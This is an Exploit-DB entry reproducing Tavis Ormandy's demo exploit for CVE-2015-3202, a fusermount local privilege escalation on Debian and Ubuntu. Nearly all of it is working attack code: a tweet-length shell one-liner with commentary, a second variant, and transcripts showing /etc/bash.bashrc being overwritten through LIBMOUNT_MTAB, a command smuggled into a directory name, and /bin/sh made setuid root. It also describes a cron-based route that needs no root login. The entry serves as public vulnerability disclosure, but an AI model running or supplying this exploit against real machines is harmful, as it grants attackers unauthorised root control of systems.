Fuse 2.9.3-15 - Local Privilege Escalation

EDB-ID:

37089




Platform:

Linux

Date:

2015-05-23


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Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba
Tweet: https://twitter.com/taviso/status/601370527437967360
Recommend Reading: http://seclists.org/oss-sec/2015/q2/520
YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88



# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
 
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
 
# $b is used twice, first to build the contents of shellscript $a, and then as
# a command to make $a executable. Quotes are unused to save a character, so
# the seperator must be escaped.
b=chmod\ u+sx;
 
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
# and dont make it drop privileges.
#
# http://www.openwall.com/lists/oss-security/2013/08/22/12
#
echo $b /bin/sh>$a;
 
# Now make the $a script executable using the command in $b. This needlessly
# sets the setuid bit, but that doesn't do any harm.
$b $a;
 
# Now make $a the directory we want fusermount to use. This directory name is
# written to an arbitrary file as part of the vulnerability, so needs to be
# formed such that it's a valid shell command.
a+=\;$a;
 
# Create the mount point for fusermount.
mkdir -p $a;
 
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes
# /bin/mount so that it can use privileged mount options that are normally
# restricted if ruid != euid. That's acceptable (but scary) in theory, because
# fusermount can sanitize the call to make sure it's safe.
#
# However, because mount thinks it's being invoked by root, it allows
# access to debugging features via the environment that would not normally be
# safe for unprivileged users and fusermount doesn't sanitize them.
#
# Therefore, the bug is that the environment is not cleared when calling mount
# with ruid=0. One debugging feature available is changing the location of
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
# files.
#
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
# current shell from $0...so it only works if you're using bash!).
#
# The line written by fusermount will look like this:
#
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
#
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
# next time root logs in.
#
# Another way to exploit it would be overwriting /etc/default/locale, then
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root
# wouldn't have to log in, but you would have to wait around until midnight to
# check if it worked.
#
# And we have enough characters left for a hash tag/comment.
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here is how the exploit looks when you run it:
#
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# fusermount: failed to open /etc/fuse.conf: Permission denied
# sending file descriptor: Socket operation on non-socket
# $ cat /etc/bash.bashrc 
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
#
# Now when root logs in next...
# $ sudo -s
# bash: /dev/fuse: Permission denied
# # ls -Ll /bin/sh
# -rwsr-xr-x 1 root root 121272 Feb 19  2014 /bin/sh
# # exit
# $ sh -c 'id'
# euid=0(root) groups=0(root)
#
# To repair the damage after testing, do this:
#
# $ sudo rm /etc/bash.bashrc
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
# $ sudo chmod 0755 /bin/sh
# $ sudo umount /tmp/.$$\;/tmp/.$$
# $ rm -rf /tmp/.$$ /tmp/.$$\;
#


- - - - - - - - - - -


$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.